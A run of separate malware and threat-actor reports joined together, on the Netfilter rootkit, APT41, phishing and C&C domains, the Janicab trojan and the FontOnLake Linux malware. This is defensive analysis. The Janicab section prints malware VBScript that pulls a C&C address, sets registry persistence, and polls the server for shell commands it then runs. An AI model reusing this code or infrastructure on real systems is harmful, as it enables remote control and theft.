delivered in the form of installers. For this reason, Intezer also has the ability to statically extract relevant files packed in the original file, as well as dynamically execute the original file in order to see how it executes. In this particular analysis, the driver is embedded in the dropper, which gets dropped onto the disk during execution in the sandbox. With Intezer Analyze you don’t get a blackbox. Instead, you can see exactly in which malware samples the malicious Netfilter rootkit code of the dropper (as well as the dropped files) have been seen before. Intezer’s sandboxing capabilities capture what the file did during execution within the context of the MITRE ATT&CK® framework. This provides an immediate sense of what suspicious or malicious activity the file is capable of in order to help you assess the risk. The highest risk behavior found in this file is the ability to persist on an endpoint by making adjustments to the Windows Registry. Another interesting behavior is the resulting network activity from the file’s execution, providing us with network IoCs for this file. These network IoCs, along with the file’s IoCs uncovered when the file was executed or via static extraction, make up the full list of IoCs shown in a separate tab for ease of access. The network IoCs are identical to the ones provided in the GData article, each with a distinct purpose as mentioned. To summarize, there is a lot of information related to the investigation of this malware that can be easily extracted through genetic code analysis and other fundamental techniques with Intezer’s malware analysis tool. Consider that most malware must evolve into new variants in order to evade detection but their code mostly remains the same. Behavioral analysis and signatures can be evaded by advanced malware like this Netfilter rootkit, but the code doesn’t lie. Intezer Analyze covers every malware-related incident. Scan files, live machines, memory dumps, and URLs (coming soon) to get fast verdicts, TTPs, IoCs, and more. Sign up for free and start with 50 file uploads per month. **Giancarlo Lezama** Giancarlo is an experienced cybersecurity solutions architect. He has helped demonstrate, architect, and deploy security solutions for organizations across various industries.
# APT41: Double Dragon ## Executive Summary FireEye Threat Intelligence assesses with high confidence that APT41 is a Chinese state-sponsored espionage group that is also conducting financially motivated activity for personal gain. APT41 espionage operations against the healthcare, high-tech, and telecommunications sectors include establishing and maintaining strategic access, and through mid-2015, the theft of intellectual property. The group's operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array of financially motivated intrusions, particularly against the video game industry, including stealing source code and digital certificates, virtual currency manipulation, and attempting to deploy ransomware. APT41 has executed multiple software supply chain compromises, gaining access to software companies to inject malicious code into legitimate files before distributing updates. ## Overview FireEye Threat Intelligence assesses with high confidence that APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control. Activity traces back to 2012 when individual members of APT41 conducted primarily financially motivated operations focused on the video game industry before expanding into likely state-sponsored activity. This is remarkable because explicit financially motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests these two motivations were balanced concurrently from 2014 onward. - APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions. - The group's distinct use of supply chain compromises to target select individuals, consistent use of compromised digital certificates, and deployment of bootkits (rare among APT operators), highlight a creative and well-resourced adversary. - Based on early observed activity, consistent behavior, and APT41's unusual focus on the video game industry, we believe the group's cyber crime activities are most likely motivated by personal financial gain or hobbyist interests. - Learning to access video game production environments enabled APT41 to develop the tactics, techniques, and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates. APT41 campaigns include most of the incidents previously attributed in FireEye Threat Intelligence reporting to GREF Team and a number of additional clusters that were previously unnamed. ## Targeting Like other Chinese espionage operators, APT41 targets industries in a manner generally aligned with China's Five-Year economic development plans. However, some campaigns attributed to APT41 indicate that the group is also deployed to gather intelligence ahead of imminent events, such as mergers and acquisitions (M&A) and political events. Directly targeted verticals include: - Healthcare: including medical devices and diagnostics - High-tech: including semiconductors, advanced computer hardware, battery technology, and electric vehicles - Media: including news organizations - Pharmaceuticals - Retail - Software companies: which were compromised in supply chain operations potentially affecting large numbers of victims - Telecoms - Travel services - Education - Video games: including development studios, distributors/publishers, and activities enabling supply chain compromises - Virtual currencies: including in-game currencies, cryptocurrencies, and related services APT41 has targeted organizations in 14 countries (and Hong Kong) over seven years, including: France, India, Italy, Japan, Myanmar, the Netherlands, Singapore, South Korea, South Africa, Switzerland, Thailand, Turkey, the United Kingdom, and the United States. APT41 espionage operations against entities in these countries follow targeting of verticals consistent with Chinese national policy priorities. ## Operations Over Time The duality of APT41's state-sponsored activity and its own cyber crime operations is demonstrated in the group's simultaneous operations. Throughout the group’s observable history, APT41 has consistently run its own financially motivated campaigns concurrently with espionage operations. In contrast, APT41 espionage targeting has changed significantly over time, suggesting shifts in assigned missions or new contracts to complete. - We believe that like other Chinese espionage operators, APT41 has moved toward strategic intelligence collection and establishing access, but away from direct intellectual property theft. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. - Espionage operations occurred while the group was still carrying out financially motivated campaigns, including longer-term intrusions, which typically extended for more than a year. - Compromising organizations in different sectors concurrently provides some indication that they are fulfilling specific assigned tasks. - Since 2017, APT41's activities have included a series of supply chain compromises. The operation injects malware into legitimate server software packages used by hundreds of companies worldwide but limits deployment of additional payloads to select targets. ## Cyber Espionage Activity Observed APT41 targeting is consistent with China's national strategies to move production capabilities upmarket into research and development (R&D)-heavy fields. These initiatives were especially highlighted with "Made in China 2025," a plan announced in 2015 that aims to shift China's economy toward higher value products and services, including pharmaceuticals, semiconductors, and other high-tech industries. - We assess that the targeting of high-tech firms that produce computer components aligns with Chinese interests in domestically developing high-end technologies as outlined in the 12th (2011) and 13th (2016) Five-Year plans, as well as the Made in China 2025 (2015) initiative. - APT41 has targeted large telecom companies and their subsidiaries in various locations, demonstrating consistent interest in obtaining access to these targets. - The group has also repeatedly targeted call record information at telecom companies, supporting indications of their wider intelligence collection efforts. In addition to specifically targeting industries of strategic value, we suggest that APT41 is also given more tactical assignments, including reconnaissance and identifying dissidents. ## Financially Motivated Activity Unlike other observed Chinese espionage operators, APT41 conducts explicit financially motivated activity, which has included the use of tools that are otherwise exclusively used in campaigns supporting state interests. The late-night to early morning activity of APT41's financially motivated operations suggests that the group primarily conducts these activities outside of their normal day jobs. However, the group compiled malware for use in cyber crime activity even during espionage-focused working hours. - APT41's operational times for espionage operations over all observed activity are relatively close to Chinese work hours. - In contrast, the group's financially motivated activity targeting the video game industry tends to occur much later in the night. - The typical working hours in China for tech workers is a "996" work schedule (9:00 a.m. to 9:00 p.m., six days a week), which is consistent with APT41's operational activity observed over time. APT41 has blatantly engaged in financially motivated activity targeting the video game industry, including manipulating virtual currencies. These activities demonstrate established connections to underground marketplaces and familiarity with monetization and laundering techniques. ## Third-Party Access In multiple instances, APT41 targeted third parties and leveraged this access to target additional victims. APT41's exploitation of third parties varied. In some instances, APT41 moved laterally from one victim environment to another in order to initiate compromise. APT41 has also used credentials compromised in previous operations. - APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service. The payment service was likely targeted because it provided access to multiple gaming companies. - APT41 has used compromised TeamViewer credentials as an entry point at multiple organizations. ## History of Supply Chain Compromises Supply chain compromises are most likely an extension of APT41's tactics used in gaining access to gaming development environments and to other gaming organizations via third-party service providers. Public reports of supply chain compromises linked to APT41 date back to at least 2014, and technical evidence associated with these incidents was used to determine a relationship, if any, with APT41. - APT41 leverages a variety of TTPs to access production environments where they can inject malicious code into legitimate files. The files are signed with valid code-signing certificates and distributed widely to end users. - Supply chain targeting requires more effort than typically observed mass targeting methods, such as establishing a strategic web compromise (SWC) or conducting large spear-phishing campaigns. ## Attribution We assess with high confidence that APT41 is attributable to Chinese individuals who are working on behalf of the Chinese state in conducting cyber espionage operations, and that these actors are also running financially motivated campaigns for personal gain. Two identified personas using the monikers "Zhang Xuguang" and "Wolfzhi" linked to APT41's operations have also been identified in Chinese-language forums. - Multiple domains leveraged by early APT41 activity were registered by emails and names associated with both Zhang Xuguang and Wolfzhi (or their alternative monikers). Registrant information also included references to Beijing and Chinese phone numbers (+86 country code). - Zhang Xuguang registered more than a dozen domains masquerading as video games or companies with trusted relationships with video game developers/distributors. ## Status as Potential Contractors We assess with moderate confidence that APT41 is constituted of contractors tasked by the Chinese state to conduct espionage operations. Individuals attributed to the group have previously indicated that they could be hired and advertised their skills and services. APT41's use of the same malware in both financial- and espionage-related operations could support their status as contractors; state employees are less likely to use such tools for personal financial gain over multiple years given the potential for greater scrutiny or punishment. - APT41 cyber crime activity includes the use of espionage-only malware, indicating two possible conclusions: either APT41 is operating outside of state control but still working with other Chinese APT malware actors, tools, and infrastructure on a part-time or contractual basis, or APT41 is a full-time, state-sponsored APT actor but is also working outside of state control or direction for supplemental income. ## Links to Other Known Chinese Espionage Operators APT41 uses many of the same tools and compromised digital certificates that have been leveraged by other Chinese espionage operators. Initial reports about HIGHNOON and its variants indicated the tool was exclusive to a single group, contributing to significant conflation across multiple distinct espionage operations. APT41 overlaps at least partially with public reporting on groups including BARIUM and Winnti. - Previous FireEye Threat Intelligence reporting on the use of HIGHNOON and related activity was grouped together under both GREF and Mana, although we now understand this to be the work of several Chinese cyber espionage groups that share tools and digital certificates.
# Looking Into a Cyber-Attack Facilitator in the Netherlands ## TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an “as is” condition. ## Related URLs: | Date | IP address | Domain | Actor | Description | |-----------|--------------------|------------------------------------------|-------------|-----------------------------------------------| | Apr-2016 | 185.117.[xx].20 | catholicsinaliance.org | Pawn Storm | Exploit used in targeted attacks | | | 131.72.[xxx].204 | localiser-icloud.com | unknown | Apple ID phishing | | | 131.72.[xxx].174 | inside-apple-localisation.com | unknown | Apple ID phishing | | | 131.72.[xxx].174 | inside-localisation-apple.com | unknown | Apple ID phishing | | | 185.141.[xx].191 | account-web.de | unknown | German freemail phishing | | | 185.82.[xxx].108 | securityicloudservice.com | unknown | Apple ID phishing | | | 185.45.[xxx].218 | bestapplestore.com | unknown | Apple ID phishing | | | 185.117.[xx].154 | wsjworld.com | Pawn Storm | Exploit used in targeted attacks | | | 185.117.[xx].154 | worldpoliticsreviews.com | Pawn Storm | Exploit used in targeted attacks | | | 185.117.[xx].5 | mailhost.university-tartu.info | Pawn Storm | Credential phishing against Estonian university| | | 185.82.[xxx].146 | mail.armf.bg.message-id8665213.tk | Pawn Storm | Credential phishing against Bulgarian army | | | 131.72.[xxx].123 | loqin-yandex.ru | Pawn Storm | Credential phishing against Russian domestic targets | | | 131.72.[xxx].137 | setting-mail.ru | Pawn Storm | Credential phishing against Russian domestic targets | | Feb-2016 | 185.130.[x].72 | play.gooqle.eu.com | unknown | Banking malware targeting Russia | | | 131.72.[xxx].200 | eposta.basbakanlik.qov.web.tr | Pawn Storm | Credential phishing against Turkish government | | | 131.72.[xxx].154 | poczta.mon-gov.pl | Pawn Storm | Credential phishing against Polish government | | | 185.117.[xx].147 | yahoo.securepassword.info | Pawn Storm | US freemail phishing | | | 131.72.[xxx].114 | posta-hurriyet.com | Pawn Storm | Credential phishing against Turkish media | | | 131.72.[xxx].200 | tbmm.qov.web.tr | Pawn Storm | Credential phishing against Turkish government | | | 185.106.[xxx].251 | mailhost-ut.ee | Pawn Storm | Credential phishing against Estonian university| | | 131.72.[xxx].55 | privacy-facebook.me | Pawn Storm | Credential phishing against Facebook users | | | 131.72.[xxx].114 | mail-hurriyet.com | Pawn Storm | Credential phishing against Turkish media | | | 131.72.[xxx].137 | setting-mail.ru | Pawn Storm | Credential phishing against Russian domestic targets | | | 131.72.[xxx].104 | tbmm.qov.web.tr | Pawn Storm | Credential phishing against Turkish government | | | 185.82.[xxx].88 | cc-yahoo-inc.org | Pawn Storm | Credential phishing against US company | | | 131.72.[xxx].200 | e-post.byegm.web.tr | Pawn Storm | Credential phishing against Turkish government | | Jan-2016 | 185.117.[xx].116 | marktingvb.ml | DustySky | C&C | | | 131.72.[xxx].200 | mail.byegm.web.tr | Pawn Storm | Credential phishing against Turkish government | | Dec-2015 | 131.72.[xxx].189 | mail.mofa.g0v.qa | Pawn Storm | Credential phishing against Qatari government | | | 131.72.[xxx].179 | webmail-gov.me | Pawn Storm | Credential phishing against Montenegrin government | | | 185.82.[xxx].102 | redirect2app.cf | Pawn Storm | US freemail phishing | | | 131.72.[xxx].165 | - | Pawn Storm | C&C | | | 131.72.[xxx].129 | - | DustySky | Spear-phishing mails' source | | Nov-2015 | 185.45.[xxx].227 | - | unknown | Spear-phishing mails' source | | | 131.72.[xxx].129 | - | DustySky | Spear-phishing mails' source | | | 131.72.[xxx].67 | int-live.com | Pawn Storm | US freemail phishing | | | 131.72.[xxx].137 | options-mail.ru | Pawn Storm | Credential phishing against Russian domestic targets | | | 131.72.[xxx].150 | mycloud-mail.ru | Pawn Storm | Credential phishing against Russian domestic targets | | | 131.72.[xxx].162 | mail.g0v.me | Pawn Storm | Credential phishing against Montenegrin government | | | 185.45.[xxx].238 | mail-navy.ro | Pawn Storm | Credential phishing against Romanian government | | | 185.82.[xxx].217 | iraqinews.info | Pawn Storm | Exploit used in targeted attacks | | | 131.72.[xxx].184 | mail-justus.com.ua | Pawn Storm | Credential phishing against Ukrainian company | | | 185.82.[xxx].217 | reuters-press.com | Pawn Storm | Exploit used in targeted attacks | | | 185.82.[xxx].102 | help-yahoo-service.com | Pawn Storm | US freemail phishing | | Oct-2015 | 185.82.[xxx].251 | mail.kuwaitarmy.gov-kw.com | Pawn Storm | Credential phishing against Kuwaiti government | | | 185.82.[xxx].194 | int-live.com | Pawn Storm | US freemail phishing | | | 185.82.[xxx].174 | nato-news.com | Pawn Storm | Exploit used in targeted attacks | | | 131.72.[xxx].196 | webmail.mofa.qov.ae | Pawn Storm | Credential phishing against the UAE government | | | 185.45.[xxx].63 | mailmil.ae | Pawn Storm | Credential phishing against the UAE government | | | 131.72.[xxx].9 | mail.rsaf.qov.sa.com | Pawn Storm | Credential phishing against Saudi Arabian government | | Sep-2015 | 131.72.[xxx].33 | - | Pawn Storm | C&C | | | 185.106.[xxx].75 | mail.teiecomitalia.it | Pawn Storm | Italian freemail phishing | | | 185.82.[xxx].246 | - | Pawn Storm | Credential phishing against MH17 investigation team | | | 185.82.[xxx].194 | live-settings.com | Pawn Storm | US freemail phishing | | | 131.72.[xxx].131 | military-info.eu | Pawn Storm | Exploit used in targeted attacks | | Aug-2015 | 185.82.[xxx].174 | electronicfrontierfoundation.org | Pawn Storm | Exploit used in targeted attacks | | | 185.82.[xxx].174 | osce-press.com | Pawn Storm | Exploit used in targeted attacks | | | 185.82.[xxx].11 | electronicfrontierfoundation.org | Pawn Storm | Exploit used in targeted attacks | | | 185.45.[xxx].125 | grab2d.com | unknown | Credential phishing against the UAE government | | | 185.82.[xxx].159 | bit2ly.com | Pawn Storm | Credential phishing against US company | | | 185.82.[xxx].194 | blu172maillive.com | Pawn Storm | US freemail phishing | | | 185.106.[xxx].220 | mobile-sanoma.net | Pawn Storm | Credential phishing against Finnish company | | Jul-2015 | 185.45.[xxx].125 | grab2d.com | unknown | US freemail phishing | | | 185.106.[xxx].208 | euroreport24.com | Pawn Storm | Exploit used in targeted attacks | | | 185.82.[xxx].110 | service-ukr.net | Pawn Storm | Ukrainian freemail phishing | | | 185.82.[xxx].102 | edit-mail-yahoo.com | Pawn Storm | US freemail phishing | | | 131.72.[xxx].204 | accounts-updated-confirmation.com | unknown | Credential phishing against the UAE government | | | 131.72.[xxx].41 | pasport-yandex.ru | Pawn Storm | Credential phishing against Russian domestic targets | | | 131.72.[xxx].41 | rn-mail.ru | Pawn Storm | Credential phishing against Russian domestic targets | | | 131.72.[xxx].10 | eservicesystems.net | Pawn Storm | C&C | | | 185.45.[xxx].69 | defensenews.org | Pawn Storm | Exploit used in targeted attacks | | | 185.45.[xxx].69 | aijazeera.org | Pawn Storm | Exploit used in targeted attacks | | Jun-2015 | 185.45.[xxx].33 | service-yahoo.com | Pawn Storm | US freemail phishing | | | 131.72.[xxx].33 | itunes-helper.net | Pawn Storm | C&C | | | 185.45.[xxx].175 | unbulletin.com | Pawn Storm | Exploit used in targeted attacks | | May-2015 | 185.45.[xxx].175 | mfagreece.com | Pawn Storm | Exploit used in targeted attacks | | | 185.45.[xxx].175 | osce-info.com | Pawn Storm | Exploit used in targeted attacks | | | 131.72.[xxx].245 | - | Pawn Storm | Spear-phishing mails' source | | | 185.45.[xxx].33 | privacy-yahooservice.com | Pawn Storm | US freemail phishing | | | 131.72.[xxx].185 | webmail-mil.gr | Pawn Storm | Credential phishing against Greek government | Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses, and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers, and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com. ©2016 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.
# Multisystem Trojan Janicab Attacks Windows and MacOSX via Scripts On Friday, July 12th, a warning from an AVAST fan about a new polymorphic multisystem threat came to an inbox of AVAST. Moreover, an archive of malicious files discussed here was attached. Some of them have been uploaded to Virustotal and therefore they have been shared with computer security professionals on the same day. A weekend had passed by and articles full of excitement about a new Trojan for MacOS started to appear on the web. We decided to make a thorough analysis and not to quickly jump on the bandwagon. The key observation is that the final payload comes in the form of scripts needed to be interpreted by Windows Script Console or Python in the case of MacOS. Moreover, a script generator that creates new malicious Windows file shortcuts was also included. ## Windows Version A chain of events that installs a malicious Visual Basic script on the Windows platform looks like this: In the beginning, there is a malicious Office Open XML Document containing two embedded binary files. One of them is called ActiveX.bin and it carries the main shell-code that is triggered by a widely spread exploit CVE-2012-0158 (under special settings ActiveX controls in MSCOMCTL.OCX trigger code execution). Shell-code itself is decrypted with an initial loop that uses 0xEE as a one-byte key. Then a few API functions necessary for dropping another file are resolved by a hash (VirtualAlloc, CreateFile, ReadFile, WriteFile, GetTempPath, CloseHandle). A temporary file "a.l" is created. The step that follows is decrypted from the second embedded binary named ActiveX1.bin. It is loaded into a buffer that is pointed by the edi register. Two bytes and one double word are extracted and immediately used in a decryption routine (one-byte XOR with a key additively changed by a constant in every iteration). A dynamic linked library is dropped and loaded. The dropper simply loads and executes two files in resources that are unencrypted. The first is a Word document that is not malicious and its purpose is not to raise any suspicion after opening such a document. The second is a malicious Visual Basic script "1.vbe" encoded with a Windows Script Encoder screnc.exe. This script is the final payload of the chain and is tagged with a version number "1.0.4". Depending on the system version, the malware seeks for an antivirus product in Windows Management Instrumentation (WMI) executing the query "Select displayName from AntiVirusProduct" on the WMI object "winmgmts:{impersonationLevel=impersonate}!\\.\root\SecurityCenter2". It stores a value into the variable installedAV. Then it randomly chooses a youtube.com link from a hard-coded list and evaluates a regular expression on the received content: ``` randLink = YouTubeLinks(Int((max-min+1)*Rnd+min)) outputHTML = getPage(randLink, 60) Set objRE = New RegExp With objRE .Pattern = "just something i made up for fun, check out my website at (.*) bye bye" .IgnoreCase = True End With Set objMatch = objRE.Execute(outputHTML) If objMatch.Count = 1 Then server = "http://" & objMatch.Item(0).Submatches(0) End If if getPage(server & "/Status.php", 30) = "OK" Then serverExists = 1 End If ``` Seeking the pattern on the web in cached YouTube pages, it turned out that an expression "111.90.152.210/cc" could have been returned as a C&C server address. Persistence on the infected system is decided by C&C: ``` startupMethod = getPage(server & "/sMethod.php?av=" & installedAV, 60) ``` If it commands a keyword "reg" as a startup method, then a registry file containing lines ``` [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] "Shell"="wscript.exe \"%userprofile%\\SystemFolder\\.vbe\"" ``` will be imported. Spying functionality is not present in this variant. The main malicious action is constantly awaiting commands from C&C to execute it on the victim's computer (getPage involves creating "InternetExplorer.Application" object and returning HTML content of the given address): ``` While 1 On Error Resume Next commandData = getPage(server & "/gcm.php?sn=" & Serial, 30) If not IsNull(commandData) And commandData <> "" Then s.Run "cmd /c " & c, 0 End If WScript.Sleep 60000 Wend ``` ## MacOSX Version As mentioned in the introduction, the variant for MacOS uses Python compiled scripts and it is described with a lot of relevant screenshots. It uses a right-to-left override method to confuse the user while executing (Windows malware uses similar masking). The internal version number said "3.0.6" and so probably it was longer in development. Spying activities consist of recording audio using a command line tool called "Sound eXchange" and taking screenshots controlled by mouse actions (resolved by a freely distributed command line tool mt which is a shortcut for MouseTools). For comparison with the Windows version, observe that a C&C server is obtained in a very similar way. Persistence is achieved by adding an initial malicious script "runner.pyc" into cron. ## Script Builder There is a simple PHP script available that creates an archive with a file shortcut that runs a script derived from a particular template and displays any desired distracting image. As a script template, the Windows version of Janicab implicitly works. Even if methods of generating new samples seem basic, it is interesting to see malware coming as a whole package as it is in this case. ## Sources Finally, MD5 of some selected samples with the detections of avast! engine are provided. Detections of samples connected with the Windows version are very low prevalent within AV products. - Janicab/StarterScreenShots.pyc: 64e788f1599196e23b628466cac3f909 (MacOS: Janicab-D [Trj]) - Janicab/StarterRec.pyc: fcd6aec6f73d98500af0d4717ec82ceb (MacOS: Janicab-D [Trj]) - Janicab/StarterCmdExec.pyc: 9c9ca021bb33ce195c470cb22faef710 (MacOS: Janicab-E [Trj]) - Janicab/StarterNetUtils.pyc: 3027d5589850d2fef3693a12ca4ec35e (MacOS: Janicab-B [Trj]) - Janicab/StarterSettings.pyc: d85bd548decc7866ffd083329e23af8c (MacOS: Janicab-A [Trj]) - AmazingRaceCyprus.docx: 73041092efeb04c4a5e9b6a1a217754c (RTF: CVE-2012-0158-BO [Expl]) - JoseMOlazagasti.docx: fef7fdfe74c071310956a753679c80e5 (RTF: CVE-2012-0158-BO [Expl]) - AboutUs.docx: b498d5de87575d4b999e203e71616b69 (RTF: CVE-2012-0158-BO [Expl]) - Encoded VB Script: 11c987d626f12892f848a42f0a95f810 (VBS: Janicab-A [Trj]) - Dynamic Link Library #1: 71eb77493e06b7c17c225cb36f5a054d (Win32: Janicab-A [Drp]) - Dynamic Link Library #2: 1b8406562b7c4b5cdeb393539245f7c0 (Win32: Janicab-A [Drp]) ## Acknowledgment Sincere gratitude goes to my colleague Jaromír Hořejší for cooperation on this analysis.
# ESET Research White Papers ## FontOnLake ### Executive Summary FontOnLake is a malware family utilizing well-designed custom modules that are constantly under development. It targets systems running Linux and provides remote access to those systems for its operators, collects credentials, and serves as a proxy server. Its presence is always accompanied by a rootkit, which conceals its existence. Their sneaky nature and advanced design suggest that these tools are used in targeted attacks; the location of the C&C server and the countries from which the samples were uploaded to VirusTotal might indicate that its operators target at least Southeast Asia. We believe that its operators are overly cautious since almost all samples seen use different, unique C&C servers with varying non-standard ports. The authors use mostly C/C++ and various third-party libraries such as Boost, Poco, and Protobuf. None of the C&C servers used in samples uploaded to VirusTotal were active at the time of writing, indicating that they could have been disabled due to the upload. We conducted several internet-wide scans that imitated initial communication of its network protocols targeting the observed non-standard ports in order to identify C&C servers and victims. We managed to find only one active C&C server, which mostly just maintained connectivity via custom heartbeat commands and did not provide any updates on explicit requests. The first known FontOnLake file appeared on VirusTotal in May 2020 and other samples were uploaded throughout the year. Following our discovery while finalizing this white paper, vendors such as Tencent Security Response Center, Avast, and Lacework Labs published their research on what appears to be the same malware. ### Technical Analysis FontOnLake’s currently known components can be divided into the following three groups that interact with each other: - **Trojanized applications** – otherwise legitimate binaries that are altered to load further components, collect data, or conduct other malicious activities. - **Backdoors** – user-mode components serving as the main point of communication for its operators. - **Rootkits** – kernel-mode components that mostly hide and disguise their presence, assist with updates, or provide fallback backdoors. #### Trojanized Applications Multiple trojanized applications were discovered; they are used mostly to load custom backdoor or rootkit modules. Patches of the applications are most likely applied at the source code level, which indicates that the applications must have been compiled and replaced the original ones. Aside from that, they can also collect sensitive data by modifying sensitive functions such as `auth_password` in `sshd`. All the trojanized files are standard Linux utilities and serve as a persistence method because they are commonly executed on system start-up. The initial way in which these applications get to the victims is not known. **Interaction with the Other Components** Communication of a trojanized application with its rootkit runs through a virtual file, which is created and managed by the rootkit. Data can be read from or written to the virtual file and exported at the operator’s request by its backdoor component. We will refer to the virtual file just as “the virtual file” throughout this text. **Intercepting Credentials in sshd** Intercepting credentials in `sshd` is achieved through a modification of the `auth_password` function. The credentials are written into the virtual file in the form: `sshd||<username>|<password>`. The version of `sshd` is 53p14. ### Backdoors We discovered three different backdoors; they are written in C++ and all use, albeit in slightly different ways, the same Asio library from Boost for asynchronous network and low-level I/O. The functionality that they all have in common is that each exfiltrates collected `sshd` credentials and bash command history to its C&C. Considering some of the overlapping functionality, most likely these different backdoors are not used together on one compromised system. All the backdoors additionally use custom heartbeat commands sent and received periodically to keep their C&C connections alive. FontOnLake malware uses filenames in the form `/tmp/.tmp_<random>`. Such on-disk files can be hidden by the rootkits. All samples contained runtime type information (RTTI), and we could have used several original names in the description. #### Backdoor 1 This is the simplest of the three FontOnLake backdoors; its overall functionality consists currently (it appears that the malware is under development so features are likely to be added) of launching and mediating access to a local SSH server, updating itself, and sending to the C&C server the stolen credentials (for example by the aforementioned trojanized `sshd`). Backdoor 1 is the only one that contains debug symbols; hence we can use all the original names in its description. The main class of the backdoor is `rmgr_client` and its name reappears throughout the code. The constructor of the class connects to the C&C and subsequently accepts commands described in the “List of commands” section. **Getting System Info** Backdoor 1 acquires system info by directly executing a Python script whose output is parsed into three distinct variables. If the command fails, FontOnLake assumes Python is not installed and triggers its installation (through yum or apt-get). **List of Commands** Currently supported commands in Backdoor 1 are described in the following table: | CMD | Behavior | |----------|-----------------------------------------------------------------------------------------------| | 0x10002 | NOP – might be reserved for the injection functionality | | 0x10004 | Exfiltrates credentials, one by one, by acquiring them from the rootkit and subsequently sending them | | 0x10006 | Finishes file-download and checks correctness of the downloaded file by calculating its CRC-32 and comparing to the previously received CRC-32 | | 0x10007 | Downloads a part of file; appends body of the message onto already or just opened supplied file | | 0x10008 | Passes a message to a `sshd` session; body of the message is forwarded into the `sshd` session. The session is looked up by supplied ID in a map of sessions | | 0x1000A | Creates a new `sshd` session; it connects to 127.0.0.1:26657. The session is inserted into the session map with the supplied session ID. The implementation details are described in the “sshd_client” section | | 0x1000B | Terminates a `sshd` session based on supplied session ID and removes it from the `sshd` session map | | 0x1000F | Starts update, described in the “Update mechanism” section | | 0x10010 | Kills a custom `sshd` if running and terminates itself by instructing the rootkit to terminate it and remove its on-disk file | | 0x10011 | Extracts and executes the custom `sshd`, which is described in the “Custom sshd” section | | 0x10012 | Kills the custom `sshd` if running | **Custom sshd** After it is loaded by Backdoor 1, the custom `sshd` loads a hardcoded, embedded configuration instead of loading one from a file, in comparison to the genuine `sshd`, which means that the on-disk configurations are always overridden by its embedded one. The config most notably directs `sshd` to do the following: - Change the ListenAddress option to localhost, which means that this `sshd` is not meant to accept remote connections. It is supposed to accept local connections mediated through the backdoor. - Permit root logins. - Enable X11 forwarding, which allows forwarding the application display of remotely started applications. Also, its `auth_password` function has been changed to always succeed, which is not such a problem on a local network. Note that the full config is in “Appendix 1”, and this is the only trojanized application dropped directly by one of the backdoors. The others can be downloaded during the backdoor’s update, but the initial process of their installation is not known. It uses a hardcoded RSA private key instead of loading one from a key file. The use of this custom `sshd` enables the attackers to hide their own `sshd` connections while keeping the legitimate ones visible – thereby staying under the radar. It also does not have to add its keys to the key file, thus avoiding making them visible to the victim. **Update Mechanism** To download updates, Backdoor 1 executes its command handling functions (`rmgr_client` instances) again with one difference – it connects to the C&C on a different port and changes the initial message. The initial message is not empty; this time it contains the CRC-32 of the file to be updated and the name of the component. We expect updates to be acquired via commands 0x10007 and 0x10006 for downloading files. ### Rootkits All samples we have seen target kernel versions 2.632-696.el6.x86_64 and 310.0-229.el7.x86_64 according to vermagic. There are two known versions of the rootkit with significant differences, but certain overlap. They are based on an open-source project Suterusu and share the following overall functionality: - Process hiding - File hiding - Hiding itself (own kernel module) - Hiding network connections - Exposing the collected credentials to its backdoor **Version 1** The most notable feature present only in the first version of the rootkit is monitoring traffic for specially crafted ICMP packets and subsequently downloading and executing additional binaries (backdoors) from specified endpoints. The feature was present only in the earliest samples and dropped later. Some samples of the first version also extract and execute the user-mode backdoor. It also hides itself by removing its kernel module from the module and kobject lists. **The Virtual File** The virtual file is created with the following file operations: | Operation | Description | |-----------|--------------------------------------------------------------------------------------------------| | write | Either appends PID of the calling process onto a list of PIDs to be hidden or attaches the received buffer and its size onto a list of collected credentials. The former only occurs when the received buffer is 0xFF11. | | open | Calls standard method `single_open()`, which is more suitable for small and non-iterative outputs than `seq_open()`. It also means that only one of `seq_operations` must be implemented – `show()`. | | release | Replaces with `single_release()` due to the use of `single_open()` in the open file operation to avoid memory leaks. | | llseek | Reuses `seq_file`-supplied method `seq_lseek()`. | | read | Reuses `seq_file`-supplied method `seq_read()`. | The above-mentioned `show()` implementation of the `seq_operations` supplies the collected credentials to the backdoors – it uses `seq_write()` to output the last entry from the list of collected credentials. The last entry is subsequently discarded. **Hiding Processes and Files** To hide processes and files, the rootkit hooks system call `getdents()`. System call `getdents()` is used most notably by the standard function `readdir()` to list files inside a directory. The hook ignores files under `/proc` whose names are either equal to the name of its virtual file or present in the list of PIDs to be hidden. **Hiding Network Connections** It implements two 